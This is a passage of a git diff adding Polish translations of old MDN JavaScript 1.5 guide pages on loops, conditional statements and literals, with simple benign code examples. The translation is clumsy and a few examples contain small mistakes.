--git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_continue/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_continue/index.html new file mode 100644 index 0000000000..dee2eda4ee --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_continue/index.html @@ -0,0 +1,51 @@ +--- +title: Instrukcja continue +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_continue +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcja_continue" name="Instrukcja_continue">Instrukcja <code>continue</code></h3> +<p>Instrukcja <code><b>continue</b></code> możemy użyć do ponownego uruchomienia instrukcji <code><b>while, do-while, for,</b></code> lub <code><b>label</b></code> tzw. etykiety.</p> +<ul> + <li>Kiedy użyjemy instrukcji <code><b>continue</b></code> bez label, to zostanie przerwana aktualnie wykonywana iteracja najgłębszej instrukcji otoczonej kodem <code><b>while, do-while</b></code> lub <code><b>for</b></code>, która będzie kontynuowała wykonanie następnej pętli z iteracją. Przeciwieństwem jest instrukcja <code><b>break</b></code>, <code><b>continue</b></code> nie zostanie przerwane wykonywanie w całości. W pętli <code><b>while</b></code>, to kod zostanie zawrócony wg warunków określonych w kodzie. W pętli <code><b>for</b></code>, to wykona przyrost wyrażenia.</li> + <li>Kiedy użyjemy <code><b>continue</b></code> z <code><b>label</b></code>, to nakłada się do instrukcji pętli identyfikującej się z <code><b>label</b></code>.</li> +</ul> +<p>Składnia instrukcji <code><b>continue</b></code> wygląda następująco:</p> +<ol> + <li><code><b>continue</b></code></li> + <li><code><b>continue label</b></code></li> +</ol> +<p><b>Przykład 1</b><br> + Następujący przykład pokazuje pętlę <code><b>while</b></code> z instrukcja <code><b>continue</b></code>, która jest wykonana wtedy, gdy wartość <code><b>i</b></code> jest liczbą trzy. W ten sposób, <code><b>n</b></code> pobiera wartości jeden, trzy, siedem, dwanaście.</p> +<pre class="eval">i = 0; +n = 0; +while (i < 5) { + i++; + if (i == 3) + continue; + n += i; +} +</pre> +<p><b>Przykład 2</b><br> + Etykieta instrukcji <code><b>checkiandj</b></code> stanowi etykietę instrukcji <code><b>checkj</b></code>. Jeśli <code><b>continue</b></code> zostanie napotkane, program przerwie aktualnie wykonywaną iterację <code><b>checkj</b></code> i rozpocznie następną iterację. Za każdym razem, gdy <code><b>continue</b></code> zostanie napotkane, <code><b>checkj</b></code> wykonuje ponownie iterację aż do momentu, gdy warunek stanie się nieprawdziwy. Kiedy został napotkany nieprawdziwy warunek, to powtarza, reszta instrukcji <code><b>checkiandj</b></code> jest dopełniona, i <code><b>checkiandj</b></code> ponownie iteruje aż jego warunek zwróci wartość nieprawdziwą. Kiedy <b>false</b> jest zwracany, to program kontynuuje następującą instrukcję <code><b>checkiandj</b></code>.</p> +<p>Jeśli <code><b>continue</b></code> miało pętlę <code><b>checkiandj</b></code>, to program będzie kontynuował instrukcję <code><b>checkiandj</b></code>, aż osiągnie jej najwyższą wartość.</p> +<pre>checkiandj : + while (i < 4) { + document.write(i + "<br/>"); + i += 1; + checkj : + while (j > 4) { + document.write(j + "<br/>"); + j -= 1; + if ((j % 2) == 0) + continue checkj; + document.write(j + " is odd.<br/>"); + } + document.write("i = " + i + "<br/>"); + document.write("j = " + j + "<br/>"); + } +</pre> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_do_...while/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_do_...while/index.html new file mode 100644 index 0000000000..6c770f4ae6 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_do_...while/index.html @@ -0,0 +1,23 @@ +--- +title: Instrukcja do ...while +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_do_...while +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h4 id="Instrukcja_do...while" name="Instrukcja_do...while">Instrukcja <code>do...while</code></h4> +<p>Instrukcja <code><b>do...while</b></code> powtarza specyficzny warunek, aż do momentu, kiedy uzna go za fałszywy. Instrukcja <code><b>do...while</b></code> wygląda następująco:</p> +<pre class="eval">do + statement +while (condition); +</pre> +<p>Instrukcja (<code><b>statement</b></code> zostanie wykonany raz, zanim warunek zostanie sprawdzony. Jeśli warunek (<code><b>condition</b></code>) jest prawdziwy (true), instrukcja zostanie wykonana ponownie. Warunek jest sprawdzany na końcu każdego wykonania. Kiedy warunek jest fałszywy (false), wykonanie zostaje zatrzymane i kontrola jest przekazywana do instrukcji następującej po pętli <code><b>do...while</b></code>.</p> +<p><b>Przykład</b><br> + W następnym przykładzie, pętla iteracyjna wykonuje się, co najmniej raz, i powraca wykonując pętlę iteracyjną dopóki wartość i jest mniejsza niż 5.</p> +<pre class="eval">do { + i += 1; + document.write(i); +} while (i < 5); +</pre> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_for/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_for/index.html new file mode 100644 index 0000000000..c13c4558fb --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_for/index.html @@ -0,0 +1,56 @@ +--- +title: Instrukcja for +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_for +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcja_for" name="Instrukcja_for">Instrukcja <code>for</code></h3> +<p>Pętla <code><b>for</b></code> jest powtarzana aż do momentu, kiedy testowany warunek staje się fałszywy. W JavaScript pętla <code><b>for</b></code> jest podobna do pętli w Java i C. Instrukcja pętli <code><b>for</b></code> wygląda następująco:</p> +<pre>for ([przypisanie]; [warunek]; [zmiana]) { + Instrukcje +} +</pre> +<p>Kiedy pętla <code><b>for</b></code> jest wykonywana to mają miejsce:</p> +<ol> + <li>Inicjalizacja wyrażenia <code><b>przypisanie</b></code>, jeśli coś jest wykonywane. To wyrażenie często inicjuje jedną lub więcej pętli, ale kod pozwala na wyrażenia o różnym stopniu złożoności. To wyrażenie może deklarować zmienne.</li> + <li>Wyrażenie <code><b>warunek</b></code> jest wykonane. Jeśli wartość <code><b>warunek</b></code> jest prawdziwa, instrukcja pętli jest wykonana. Jeśli wartość <code><b>warunek</b></code> jest fałszywa, pętla <code><b>for</b></code> jest przerwana. Jeśli wyrażenie <code><b>warunek</b></code> jest w całości opuszczone, warunek to bierze na siebie, jeśli jest prawdziwy.</li> + <li>Wykonuje <code><b>instrukcje</b></code>.</li> + <li>Aktualizuje wyrażenia <code><b>zmiana</b></code>, jeśli jedna wykonywana to kontrola jest przekazywana do kroku drugiego.</li> +</ol> +<p><b>Przykład</b><br> + Następująca funkcja stanowi instrukcję <code><b>for</b></code>, która to tworzy licznik zaznaczonych opcji w liście przewijanej (obiekt <b>Select</b>, który pozwala na wielokrotne zaznaczenia). Instrukcja <code><b>for</b></code> deklaruje zmienną <code><b>i</b></code> i inicjuje ją od zera. Sprawdza, które <code><b>i</b></code> jest mniejsze niż liczba opcji w obiekcie <code><b>Select</b></code> wykonując kolejną instrukcję <code><b>if</b></code>, i zwiększa <code><b>i</b></code> o jeden po każdej wykonanej pętli.</p> +<pre><script type="text/javascript">//<![CDATA[ + +function howMany(selectObject) { + var numberSelected = 0; + for (var i = 0; i < selectObject.options.length; i++) { + if (selectObject.options[i].selected) + numberSelected++; + } + return numberSelected; +} + +//]]></script> +<form name="selectForm"> + <p> + <strong>Choose some music types, then click the button below:</strong> + <br/> + <select name="musicTypes" multiple="multiple"> + <option selected="selected">R&B</option> + <option>Jazz</option> + <option>Blues</option> + <option>New Age</option> + <option>Classical</option> + <option>Opera</option> + </select> + </p> + <p> + <input type="button" value="How many are selected?" + onclick="alert ('Number of options selected: ' + howMany(document.selectForm.musicTypes))"/> + </p> +</form> +</pre> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_label/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_label/index.html new file mode 100644 index 0000000000..e95a452b8f --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_label/index.html @@ -0,0 +1,23 @@ +--- +title: Instrukcja label +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_label +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcja_label" name="Instrukcja_label">Instrukcja <code>label</code></h3> +<p>Instrukcja <code><b>label</b></code> dostarcza instrukcję wraz z identyfikatorem, który odnosi się całkiem gdzie indziej w Twoim programie. Na przykład, możesz użyć <code><b>label</b></code> do zidentyfikowania pętli i następnie w niej użyć instrukcję <code><b>break</b></code> lub <code><b>continue</b></code>, do wskazania miejsca gdzie program powinien zinterpretować pętlę lub kontynuować jego wykonanie.</p> +<p>Składnia instrukcji <code><b>label</b></code> wygląda następująco:</p> +<pre>label : + Instrukcja +</pre> +<p>Wartością <code><b>label</b></code> może być w JavaScript identyfikator, który jest nie zarezerwowanym słowem. <code><b>Instrukcja</b></code> to identyfikujesz z etykietą, która może być jakąś instrukcją.</p> +<p><b>Przykład</b><br> + W tym przykładzie, etykieta <code><b>markLoop</b></code> identyfikuje pętle while.</p> +<pre>markLoop: +while (theMark == true) + doSomething(); +} +</pre> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_while/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_while/index.html new file mode 100644 index 0000000000..48ecacaa70 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_pętli/instrukcja_while/index.html @@ -0,0 +1,38 @@ +--- +title: Instrukcja while +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_pętli/Instrukcja_while +tags: + - JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Instrukcja_while" name="Instrukcja_while">Instrukcja <code>while</code></h3> +<p>Instrukcja <code><b>while</b></code> wykonuje instrukcje tak długo, dopóki warunek będzie prawdziwy. Instrukcja pętli <code><b>while</b></code> wygląda następująco:</p> +<pre>while (warunek) { + instrukcje +} +</pre> +<p>Jeśli warunek stanie się fałszywy, instrukcja wewnątrz pętli zatrzyma wykonywanie i identyfikatorach kontroli w instrukcji następującej pętli.</p> +<p>Test warunku ma miejsce przed wykonaniem pętli instrukcji. Jeśli warunek będzie prawdziwy, instrukcje są wykonywane i ponownie jest wykonywany test warunku. Jeśli warunek będzie fałszywy, wykonywanie pętli jest zatrzymanie i przejście kontroli do następującej instrukcji <code><b>while</b></code>.</p> +<p><b>Przykład 1</b><br> + Następująca pętla <code><b>while</b></code> wykonuje iterację (powtarza) tak długo aż <b>n</b> jest mniejsze od trzech:</p> +<pre>n = 0; +x = 0; +while( n < 3 ) { + n ++; + x += n; +} +</pre> +<p>Do każdej wykonanej pętli iteracji, przyrost pętli <code><b>n</b></code> i dodanie te wartości <code><b>x</b></code>. Dlatego, <code><b>x</b></code> i <code><b>n</b></code> pobierają następujące wartości:</p> +<ul> + <li>Po pierwszym przejściu: <code><b>n</b></code> = 1 i <code><b>x</b></code> = 1</li> + <li>Po drugim przejściu: <code><b>n</b></code> = 2 i <code><b>x</b></code> = 3</li> + <li>Po trzecim przejściu: <code><b>n</b></code> = 3 i <code><b>x</b></code> = 6</li> +</ul> +<p>Po uzupełnieniu trzeciego przejścia, warunek <code><b>n</b></code> < 3 jest wartość prawdziwa, więc pętla zostanie przerwana.</p> +<p><b>Przykład 2</b><br> + Nieskończoność pętli. Upewnij się czy warunek pętli ostatecznie staje się fałszywym; innym razem, pętla nigdy nie zostanie przerwana. Instrukcja w następującej pętli <code><b>while</b></code> występuje bezustannie, ponieważ warunek nigdy nie stanie się fałszywy.</p> +<pre>while (true) { + alert("Hello, world") } +</pre> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_warunkowe/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_warunkowe/index.html new file mode 100644 index 0000000000..8c314362fd --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/instrukcje_warunkowe/index.html @@ -0,0 +1,89 @@ +--- +title: Instrukcje warunkowe +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Instrukcje_warunkowe +tags: + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling +--- +<p> +</p> +<h3 id="Instrukcja_warunkowa" name="Instrukcja_warunkowa"> Instrukcja warunkowa </h3> +<p>Instrukcja warunkowa jest zestawem poleceń wykonywanych, jeżeli dany warunek jest spełniony JavaScript obsługuje dwie instrukcje warunkowe:if...else i switch. +</p> +<h4 id="Instrukcja_if...else" name="Instrukcja_if...else"> Instrukcja if...else </h4> +<p>Instrukcja <code><b>if</b></code> powoduje wykonanie kodu źródłowego <code>instrukcja1</code> tylko wtedy, gdy <code>warunek</code> logiczny jest spełniony. Jeżeli zostanie użyty poszerzony wariant instrukcji <code>if</code>, to po spełnieniu warunku zostanie wykonany kod <code>instrukcja1</code> lecz w przeciwnym wypadku zostanie wykonany kod <code>instrukcja2</code>. Instrukcja <code><b>if</b></code> ma postać: +</p> +<pre>if (warunek) { + instrukcja1 +} +[else { + instrukcja2 +} ] +</pre> +<p>Jakiekolwiek wyrażenie w JavaScript może mieć warunek, który jest oceniany czy jest on prawdziwy lub fałszywy. Instrukcja wykonuje jakąkolwiek instrukcję zawartą w JavaScript, włączając pomoc zagnieżdżonym instrukcjom if. Jeśli chcesz użyć więcej niż po instrukcji <code><b>if</b></code> lub instrukcji <code><b>else</b></code> musisz otoczyć instrukcję nawiasami klamrowymi, {}. +</p><p>Nie powinieneś używać prostych zadań używając instrukcji warunkowej. Na przykład, nie używaj następującego kodu: </p> +<pre>if(x = y) +{ + /* coś jest wykonywane */ +} +</pre> +<p>Jeśli potrzebujesz użyć instrukcji warunkowej, aby wykonać zadanie, wstaw dodatkowy nawias wokół zadania. Na przykład, użyj if( (x = y) ). +</p><p>Nie pomieszaj wartości prymitywnej logicznej true i false z true i false wartości logicznej obiektu. Jakikolwiek obiekt, którego wartość nie jest zidentyfikowana, null, zero, NaN, lub pusty łańcuch znaków, włączając obiekt logiczny, którego wartość jest fałszem staje się prawdziwy, kiedy przechodzi w instrukcję warunkową. Na przykład: +</p> +<pre>var b = new Boolean(false); +if (b) // ten warunek jest prawdziwy +</pre> +<p><b>Przykład</b><br> +Następujący przykład funkcji <code><b>checkData</b></code> zwraca true i numer czcionki w obiekcie <code><b>Text</b></code> są trzy; W drugą stronę, to wyświetli alert ostrzegawczy i zwróci Ci false. +</p> +<pre>function checkData () { + if (document.form1.threeChar.value.length == 3) { + return true + } else { + alert("Enter exactly three characters. " + + document.form1.threeChar.value + " is not valid.") + return false + } +} +</pre> +<h4 id="Instrukcja_switch" name="Instrukcja_switch"> Instrukcja switch </h4> +<p>Instrukcja <code><b>switch</b></code> pozwala programowi na sprawdzenie ciągu warunków i próbuje wykonać wartość wyrażenia przypisana do odpowiedniej etykiety case. Jeśli jest to wyrażenie znalezione, program wykonuje załączoną instrukcję. Instrukcja <code><b>switch</b></code> wygląda w następujący sposób: +</p> +<pre>switch (expression){ + case label : + statement; + break; + case label : + statement; + break; + ... + default : statement; +} +</pre> +<p>Najpierw program szuka etykietę odpowiedniego wyrażenia i wykonuje załączoną instrukcję. Jeśli znaleziona zostaje nie odpowiednia etykieta, program szuka domyślnej instrukcji i jeśli znajdzie wykonuje załączoną instrukcję. Jeśli nie domyślna instrukcja jest znaleziona, program kontynuuje wykonywanie instrukcji aż do końca instrukcji <code><b>switch</b></code>. +</p><p>Opcjonalnie instrukcja <code><b>break</b></code> połączona z każdą etykietą case zapewnia przerwanie programu z całego bloku <code><b>switch</b></code> odpowiednio raz jak jest wykonana instrukcja i kontynuuje wykonywanie następnej instrukcji switch. Jeśli opuszcza <code><b>break</b></code>, program kontynuuje wykonywanie aż do następnej instrukcji w <code><b>switch</b></code>. +</p><p><b>Przykład</b><br> +W następującym przykładzie, jeśli <code><b>expr</b></code> sprawdza "Bananas", program szuka odpowiednią wartość z case "Bananas" i wykonuje załączoną instrukcję. Kiedy napotka <code><b>break</b></code>, progaram przerywa <code><b>switch</b></code>. Jeśli <code><b>break</b></code> zostało opuszczone, instrukcja zostanie wykonana dla case "Cherries". +</p> +<pre>switch (expr) { + case "Oranges" : + document.write("Oranges are $0.59 a pound.<BR>"); + break; + case "Apples" : + document.write("Apples are $0.32 a pound.<BR>"); + break; + case "Bananas" : + document.write("Bananas are $0.48 a pound.<BR>"); + break; + case "Cherries" : + document.write("Cherries are $3.00 a pound.<BR>"); + break; + default : + document.write("Sorry, we are out of " + i + ".<BR>"); +} + +document.write("Is there anything else you'd like?<BR>"); +</pre> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Conditional_Statements", "fr": "fr/Guide_JavaScript_1.5/Instructions_conditionnelles", "ja": "ja/Core_JavaScript_1.5_Guide/Conditional_Statements" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/literały/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/literały/index.html new file mode 100644 index 0000000000..ac080fcbb4 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/literały/index.html @@ -0,0 +1,207 @@ +--- +title: Literały +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Literały +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Grammar_and_types +--- +<p> +</p> +<h3 id="Litera.C5.82y" name="Litera.C5.82y"> Literały </h3> +<p>Literałów używa się w celu przedstawiania wartości w JavaScript. Są one ustalonymi wartościami (a nie zmiennymi), które <i>dosłownie</i> podajesz w swoim skrypcie. Ten fragment opisuje następujące typy literałów: </p> +<ul><li> {{ Anch("Literały tablicy") }} +</li><li> {{ Anch("Literały logiczne") }} +</li><li> {{ Anch("Literały zmiennoprzecinkowe") }} +</li><li> {{ Anch("Literały całkowite") }} +</li><li> {{ Anch("Literały obiektu") }} +</li><li> {{ Anch("Literały znakowe") }} +</li></ul> +<h4 id="Litera.C5.82y_tablicy" name="Litera.C5.82y_tablicy"> Literały tablicy </h4> +<p>Literał tablicy jest listą składającą się z zera lub większej liczby wyrażeń, z których każdy reprezentuje element tablicy, a które zamknięte są w nawiasach kwadratowych ([]). Tablica tworzona za pomocą literału tablicy zostaje zainicjalizowana podanymi wartościami jako jej elementami, a jej długość jest ustalone według liczby podanych argumentów. +</p><p>Poniższy przykład tworzy tablicę <code>kawy</code> z trzema elementami i o długości trzy: +</p> +<pre>kawy = ["Arabica", "Columbiana", "Zbożowa"]</pre> +<p><b>Uwaga</b> Literał tablicy jest typem inicjatora obiektu. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjatorów obiektu</a>. +</p><p>Jeśli tablica została utworzona przy pomocy literału w skrypcie najwyższego poziomu, JavaScript interpretuje tablicę za każdym razem, gdy przelicza wyrażenie zawierające literał tablicowy. Dodatkowo literał użyty w funkcji jest tworzony przy każdym wywołaniu funkcji. +</p><p>Literały tablicy są także obiektami <code>Array</code>. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Array">obiekt <code>Array</code></a>, aby uzyskać więcej informacji o obiektach <code>Array</code>. +</p><p><b>Dodatkowe przecinki w literale tablicy</b> +</p><p>Nie musisz określać w literale tablicy wszystkich elementów. Jeśli postawisz kolejno dwa przecinki, zostanie utworzony obiekt <code>array</code> z pustym miejscem dla niesprecyzowanych elementów. Poniższy przykład tworzy tablicę <code>ryba</code>: +</p> +<pre>ryba = ["Piła", , "Młot"]</pre> +<p>Tablica ta posiada dwa elementy z wartościami i jeden pusty element (wartość <code>ryba{{ mediawiki.external(0) }}</code> to "Piła", <code>ryba{{ mediawiki.external(1) }}</code> jest niezdefiniowana, a <code>ryba{{ mediawiki.external(2) }}</code> to "Młot"): +</p><p>Jeśli na końcu listy elementów umieścisz dodatkowy przecinek, jest on ignorowany. W poniższym przykładzie długość <code>tablicy</code> jest równa trzy. Nie istnieje <code>mojaLista{{ mediawiki.external(3) }}</code>. Wszystkie inne przecinki w liście wskazują nowy element. </p> +<pre>mojaLista = ['dom', , 'szkoła', ];</pre> +<p>W kolejnym przykładzie długość <code>tablicy</code> jest równa cztery; nie zdefiniowano wartości dla <code>mojaLista{{ mediawiki.external(0) }}</code> i <code>mojaLista{{ mediawiki.external(2) }}</code>. +</p> +<pre>mojaLista = [ , 'dom', , 'szkoła'];</pre> +<p>W ostatnim przykładzie długość <code>tablicy</code> wynosi cztery i brakuje mojaLista{{ mediawiki.external(1) }} i mojaLista{{ mediawiki.external(3) }}. Tylko ostatni przecinek jest ignorowany. Jest on opcjonalny. +</p> +<pre>mojaLista = ['dom', , 'szkoła', , ];</pre> +<h4 id="Litera.C5.82y_logiczne" name="Litera.C5.82y_logiczne"> Literały logiczne </h4> +<p>Typ logiczny posiada dwie wartości: <code>true</code> i <code>false</code>. +</p><p>Nie wolno mylić pierwotnych wartości logicznych <code>true</code> i <code>false</code> z wartościami prawda i fałsz (true/false) obiektu logicznego. Obiekt logiczny jest obiektem opakowującym pierwotnego typu danych logicznych. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean">obiekt Boolean</a>, aby uzyskać więcej informacji. +</p> +<h4 id="Litera.C5.82y_ca.C5.82kowite" name="Litera.C5.82y_ca.C5.82kowite"> Literały całkowite </h4> +<p>Liczby całkowite mogą być wyrażane jako dziesiętne (podstawa 10), szesnastkowe (podstawa 16) i ósemkowe (podstawa 8). Dziesiętny literał całkowity składa się z sekwencji cyfr bez czołowego 0 (zera). Czołowe 0 (zero) w literale całkowitym wskazuje na literał ósemkowy; Czołowe 0x (lub 0X) wskazuje na literał szesnastkowy. Liczby szesnastkowe mogą zawierać cyfry od 0 do 9 oraz litery a-f lub A-F. Ósemkowe literały całkowite mogą zawierać tylko cyfry od 0 do 7. +</p><p>Ósemkowe literały całkowite są wycofywane i zostały usunięte ze 3 edycji standardu ECMA-262. JavaScript 1.5 wciąż wspiera je dla kompatybilności wstecznej. +</p><p>Przykładami literałów całkowitych są: +</p> +<pre class="eval">0, 117 i -345 (dziesiętne, podstawa 10) +015, 0001 i -077 (ósemkowe, podstawa 8) +0x1123, 0x00111 i -0xF1A7 (szesnastkowe, "hex" lub podstawa 16) +</pre> +<h4 id="Litera.C5.82y_zmiennoprzecinkowe" name="Litera.C5.82y_zmiennoprzecinkowe"> Literały zmiennoprzecinkowe </h4> +<p>Literały zmiennoprzecinkowe mogą mieć następujące części: +</p> +<ul><li> Liczbę dziesiętną całkowitą mogąca posiadać znak (poprzedzona przez "+" lub "-"), +</li><li> Znak dziesiętny ("."), +</li><li> Ułamek (kolejna liczba dziesiętna), +</li><li> Wykładnik. +</li></ul> +<p>Wykładnik stanowi "e" lub "E", po którym następuje liczba całkowita mogąca posiadać znak (poprzedzona przez "+" lub "-"). Literały zmiennoprzecinkowe muszą posiadać co najmniej jedną cyfrę; muszą także posiadać "e" (lub "E") bądź znak dziesiętny. +</p><p>Przykładami literałów zmiennoprzecinkowych są 3.1415, -3.1E12, .1e12 i 2E-12. +</p><p>Ściślej, składnia jest następująca: +</p> +<pre class="eval">[cyfry][.cyfry][(E|e)[(+|-)]cyfry] +</pre> +<p>Na przykład: +</p> +<pre class="eval">3.14 +2345.789 +.3333333333333333333 +</pre> +<h4 id="Litera.C5.82y_obiektu" name="Litera.C5.82y_obiektu"> Literały obiektu </h4> +<p>Literał obiektu stanowi ujęta w nawias klamrowy ({}) lista składająca się z zera lub większej liczby par, które stanowią nazwa własności obiektu oraz przypisana jej wartość. Nie powinno się używać literału obiektu na początku instrukcji. Doprowadzi to do wystąpienia błędu lub nieoczekiwanych zachowań, gdyż { zostanie zinterpretowany jako początek bloku. +</p><p>Poniżej podany jest przykład literału obiektu. Pierwszy element obiektu <code>auto</code> definiuje własność <code>mojeAuto</code>; drugi element, własność <code>pobierzAuto</code>, wywołuje funkcję <code>(TypyAut("Polonez"));</code> trzeci element, własność <code>specjalne</code>, używa istniejącej zmiennej (<code>Sprzedaz</code>). +</p> +<pre>var Sprzedaz = "Toyota"; + +function TypyAut(nazwa) { + if(nazwa == "Polonez") + return nazwa; + else + return "Przykro nam, ale nie sprzedajemy marki " + nazwa + "."; +} + +auto = {mojeAuto: "Caro", pobierzAuto: TypyAut("Polonez"), specjalne: Sprzedaz} + +document.write(auto.mojeAuto); // Caro +document.write(auto.pobierzAuto); // Polonez +document.write(auto.specjalne); // Toyota</pre> +<p>Dodatkowo, możesz użyć literału znakowego lub liczbowego jako nazwy własności lub zagnieździć obiekt wewnątrz innego. Ilustruje to poniższy przykład. +</p> +<pre>auto = {wieleAut: {a: "Saab", b: "Jeep"}, 7: "Mazda"} + +document.write(auto.wieleAut.b); // Jeep +document.write(auto[7]); // Mazda +</pre> +<p>Zauważ: +</p> +<pre class="eval">foo = {a: "alfa", 2: "dwa"} +document.write (foo.a) // alfa +document.write (foo[2]) // dwa +//document.write (foo.2) // Błąd: brakuje ) po liście argumentów +//document.write (foo[a]) // Błąd: a nie jest zdefiniowane +document.write (foo["a"]) // alfa +document.write (foo["2"]) // dwa +</pre> +<h4 id="Litera.C5.82y_znakowe" name="Litera.C5.82y_znakowe"> Literały znakowe </h4> +<p>Literały znakowe to zero lub więcej znaków zamkniętych w podwójnych (") lub pojedynczych (') znacznikach cytatu. Łańcuch znaków musi być ograniczony przez znaczniki tego samego typu, a więc obydwa pojedyncze lub obydwa podwójne znaki cytatu. Poniżej umieszczono przykłady literałów znakowych: +</p> +<ul><li> "bla" +</li><li> 'bla' +</li><li> "1234" +</li><li> "jedna linia \n kolejna linia" +</li><li> "kot Ali" +</li></ul> +<p>Możesz wywołać dowolną metodę obiektu String na wartości literału znakowego - JavaScript automatycznie skonwertuje literał znakowy do tymczasowego obiektu String, wywoła metodę, a następnie pozbędzie się tymczasowego obiektu String. Możesz również użyć własności <code>String.length</code> z literałem znakowym: +</p> +<ul><li> "kot Ali".length +</li></ul> +<p>Powinieneś użyć literału znakowego, chyba że potrzebujesz szczególnie obiektu String. Zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String">obiekt String</a>, aby uzyskać szczegółowe informacje o obiektach String. +</p> +<h5 id="U.C5.BCywanie_specjalnych_znak.C3.B3w_w_.C5.82a.C5.84cuchach" name="U.C5.BCywanie_specjalnych_znak.C3.B3w_w_.C5.82a.C5.84cuchach"> Używanie specjalnych znaków w łańcuchach </h5> +<p>Dodatkowo oprócz znaków zwykłych możesz także włączyć do łańcuchów specjalne znaki, tak jak pokazano w przykładzie: </p> +<pre>"pierwsza linia \n następna linia"</pre> +<p>Poniższa tabela przedstawia znaki specjalne, które możesz użyć w łańcuchach znaków JavaScript. +</p> +<table class="fullwidth-table"> +<tbody><tr> +<th>Znak</th> +<th>Znaczenie</th> +</tr> +<tr> +<td><b>\b</b></td> +<td>Backspace</td> +</tr> +<tr> +<td><b>\f</b></td> +<td>Nowa strona</td> +</tr> +<tr> +<td><b>\n</b></td> +<td>Nowa linia</td> +</tr> +<tr> +<td><b>\r</b></td> +<td>Powrót karetki</td> +</tr> +<tr> +<td><b>\t</b></td> +<td>Tabulacja</td> +</tr> +<tr> +<td><b>\v</b></td> +<td>Tabulacja pionowa</td> +</tr> +<tr> +<td><b>\'</b></td> +<td>Apostrof lub pojedynczy cudzysłów</td> +</tr> +<tr> +<td><b>\"</b></td> +<td>Podwójny cudzysłów</td> +</tr> +<tr> +<td><b>\\</b></td> +<td>Lewy ukośnik (\).</td> +</tr> +<tr> +<td><b>\<i>XXX</i></b></td> +<td>Znaki z kodowaniem Latin-1 określone przez do trzech cyfrósemkowych <i>XXX</i> pomiędzy 0 i 377. Na przykład \251 jest sekwencją ósemkową dla symbolu copyright.</td> +</tr> +<tr> +<td><b>\x<i>XX</i></b></td> +<td>Znaki z kodowaniem Latin-1 określone przez dwie cyfry szesnastkowe <i>XX</i> pomiędzy 00 i FF. Na przykład \xA9 jest szesnastkową sekwencją dla symbolu copyright.</td> +</tr> +<tr> +<td><b>\u<i>XXXX</i></b></td> +<td>Znak 